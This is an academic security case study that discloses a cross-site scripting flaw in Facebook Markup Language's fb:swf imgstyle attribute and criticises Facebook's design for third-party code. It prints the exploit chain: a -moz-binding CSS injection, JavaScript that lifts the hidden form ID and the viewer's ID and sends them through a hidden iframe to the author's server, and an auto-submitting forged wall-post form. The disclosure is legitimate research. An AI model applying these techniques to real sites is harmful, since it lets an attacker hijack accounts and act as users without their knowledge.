Defacing Facebook: A Security Case Study

Adrienne Felt, University of Virginia
felt@virginia.edu, www.cs.virginia.edu/felt/fbook

The Facebook Platform represents a powerful combination of social networking and third-party gadget aggregation. Officially released in May 2007, the Facebook API provides developers with millions of potential users and partial access to their information. The highly personal nature of Facebook data and the amplifying effects of the social network make it crucial that the Facebook Platform does not enable third-party attacks. This paper describes Facebook's security mechanisms and presents a cross-site scripting vulnerability in Facebook Markup Language that allows arbitrary JavaScript to be added to application users' profiles. The profile in the code can then defeat their anti-request forging security measures and hijack the sessions of viewers.

An introduction to the Facebook Platform

Facebook tightly integrates third-party applications into their website. Applications are served externally but are viewed in the context of a Facebook-hosted page with a Facebook URL. An application has two choices about its Facebook home page: it can be isolated in an iFrame or written in Facebook's proprietary markup language and embedded directly into the page. Code written in Facebook Markup Language (FBML) is retrieved by the Facebook server, parsed, and then inserted into their surrounding code. FBML includes a "safe" subset of HTML and CSS as well as Facebook-specific tags.

In addition to these application home pages, users may add gadgets to their profiles. Profile gadgets are presented alongside Facebook-provided content and allow users to individualize a small portion of their profile. The gadget code must be written in FBML.

Session security measures

Facebook uses two methods to identify and authenticate users: cookies, which contain session information, and hidden form IDs that are supposed to ensure that forms come from the user. With either a cookie or knowledge of a user's form ID, an attacker can impersonate a victim. A cookie's session information would allow an attacker to construct XMLHttpRequests and assume all the same privileges as the user. Hidden form IDs can be used to session surf, meaning the attacker can embed a hidden form into a seemingly innocent page. The form would automatically submit when viewed by a logged-in user and have the

authentication credentials of the unwitting viewer. It is imperative that both hidden form IDs and cookies be shielded from third-party applications.

The DOM provides built-in isolation for third-party code in iFrames. The Same Origin Policy prevents the applications from accessing any of the content from the Facebook servers, including the cookie and the form IDs. However, unlike parsed FBML code, Facebook must pass all user and viewer information to the application. This limits Facebook's privacy control.

FBML gives Facebook the ability to abstract user information and maintain some uniformity of style between applications. Since the parsed third-party code is included directly in the page, any malicious code that could slip through their filters would have access to the hidden form IDs. Depending on the browser version, the code might also be able to fetch the user's Facebook cookies. Until recently, many browsers (such as Firefox prior to the 2.0.0.5 release) ignored the http-only flag on cookies and would leave them accessible through the JavaScript `document.cookie` variable. Facebook therefore attempts to strip FBML of all references to JavaScript or external code.

The XSS vulnerability

I discovered an oversight in the parsing of the `<fb:swf>` tag that allows the application owner to push potentially malicious code to the profile of users. The `<fb:swf>` tag embeds an Adobe Flash .swf file into a page. To keep ostentatious graphics and audio from annoying viewers, a static preview image is provided as a link to the Flash content. The `<fb:swf>` tag includes an `imgstyle` attribute that is stripped of the `"`, `<`, and `>` characters but not checked for executable content. The code I used is of the form:

```
<fb:swf swfsrc="http://myserver/flash.swf"
imgsrc="http://myserver/image.jpg" imgstyle="-moz-
binding:url(\'http://myserver/xssmoz.xml#xss\');" />
```

After being parsed and added to the user's profile, the highlighted `imgstyle` attribute becomes:

```
<img src="http://facebook/cached-image.jpg" style="-moz-
binding:url('http://myserver/xssmoz.xml#xss');" />
```

This causes Firefox to retrieve and evaluate the contents of the external XML file. (The exploit could be extended to Internet Explorer by using the CSS

`expression()` function to cause the CSS to execute JavaScript.) The Firefox XML file contains the attacker's JavaScript.

```
<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl">
  <binding id="xss"><implementation><constructor>
            <![CDATA[ alert('XSS'); ]]>
      </constructor></implementation></binding>
</bindings>
```

The JavaScript in this file is now executing in the context of the authentic Facebook page with the user's valid credentials.

Accessing the page contents

From here, style sheets and elements within the page may be simply accessed. The following code fragments change the way the profile owner's name is displayed and get the secret form ID, respectively.

```
document.styleSheets[16].insertRule('.profile_name h2 {
color: #aa1c73; text-transform: uppercase; letter-spacing:
5px;}',0);

var attr =
document.getElementById("post_form_id").attributes;
var hidden = attr.getNamedItem("value").value;
```

The profile viewer's ID is not stored in any form value on the page but can be found in a URL parameter on the page. The container with that link may therefore be searched for the viewer's ID.

```
var chunk =
document.getElementById("nav_unused_1").innerHTML;
var start = chunk.indexOf("profile.php?id=") + 15;
var end = chunk.indexOf("profile_link") - 9;
var uid = chunk.substring(start,end);
```

The form and user IDs may then be used for the potentially malicious part of the attack.

Impersonating the viewer

Although it is possible to fetch the session information using the JavaScript `document.cookie` variable in older browsers, I chose to explore the avenue of session riding to ensure effectiveness against browsers that support http-only cookies. With the secret form ID value, an attacker can falsely submit forms on the viewer's behalf to perform any action on the site. This includes removing privacy settings, adding friends, sending messages, and installing the application to that user's account. Since the code only has access to the viewer's session until he or she navigates away from the page, installing an application is particularly appealing since it provides the potential for rapid spreading of the code. Alternately, an application could become popular in its own right and stealthily include malicious code behind its attractive veneer.

Demonstration

My demonstration performed two actions: it added a user as my friend (if that user weren't already) or posted "Adrine is my hero" to my fake account's wall (if that user were already my friend). I did this by inserting an iFrame into the DOM tree and passing the necessary form values to the inner script (which was on my server). That script then sent a POST request to the appropriate Facebook form. The following JavaScript code inserts the iFrame for the wall post:

```
var myframe = document.createElement("iframe");
myframe.setAttribute("width","0px");
myframe.setAttribute("height","0px");
myframe.setAttribute("style","border:0px;");
myframe.setAttribute("src","http://myserver/wallpost.php?hid
den="+hidden+"&uid="+uid);
document.getElementById("profileimage").appendChild(myframe)
```

Notably, this iFrame will load without the user's knowledge because it is of size 0x0 and without a border. When it loads, it makes a request to the attacker's server `wallpost.php` script, passing in the hidden and UID values as parameters. The PHP script generates a Facebook form, with the UID and hidden variables included as necessary to satisfy Facebook's authentication mechanisms. The value "[targetUID]" holds the place of the profile that receives the wall post. Removing extraneous PHP commands, the form was:

```
<form id="myform" name="myform"
action="http://www.facebook.com/wallpost.php?id=[targetUID]"
method="post">
<input type="text" id="to" name="to" value="[targetUID]" />
```

```
<input type="text" id="text" name="text" value="adrine is my
hero" />
<input type="text" id="from" name="from"
value="$_GET['uid']" />
<input type="text" id="post_form_id" name="post_form_id"
value="$_GET['hidden']" />
</form>
```

The form is then automatically submitted with a line of JavaScript, `document.myform.submit();`, which is appended to the end of the iFrame.

The ramifications of the exploit

The immediate consequence of this cross-site scripting hole is that an attacker may temporarily gain control over a user's account. It would be easy for Facebook to fix this specific problem, however: it's a single parameter that needs to be run through one of their existing filters.

More importantly, we should consider the design flaw that allowed this exploit to occur. XSS vulnerabilities are common; the significant part of the attack is not that a new vulnerability was discovered, but that a single breach leaves the entire site open to abuse. The exploitability of their design raises questions about the prudence of inserting third-party code (parsed or not) into a page that contains the user's information and login credentials. The problem cannot be simply solved by generating unique form IDs for each page, because this can be overcome by adding a new iFrame and searching the contents of that page for the appropriate form ID.

The alternative to their current design is to place the third-party content in an iFrame on a domain that is not *.facebook.com. XSS holes would be therefore be sandboxed. This would limit the ability of the code to communicate with the Facebook page context (e.g. to determine the identity of the profile viewer), but their current model barely makes any use of this functionality.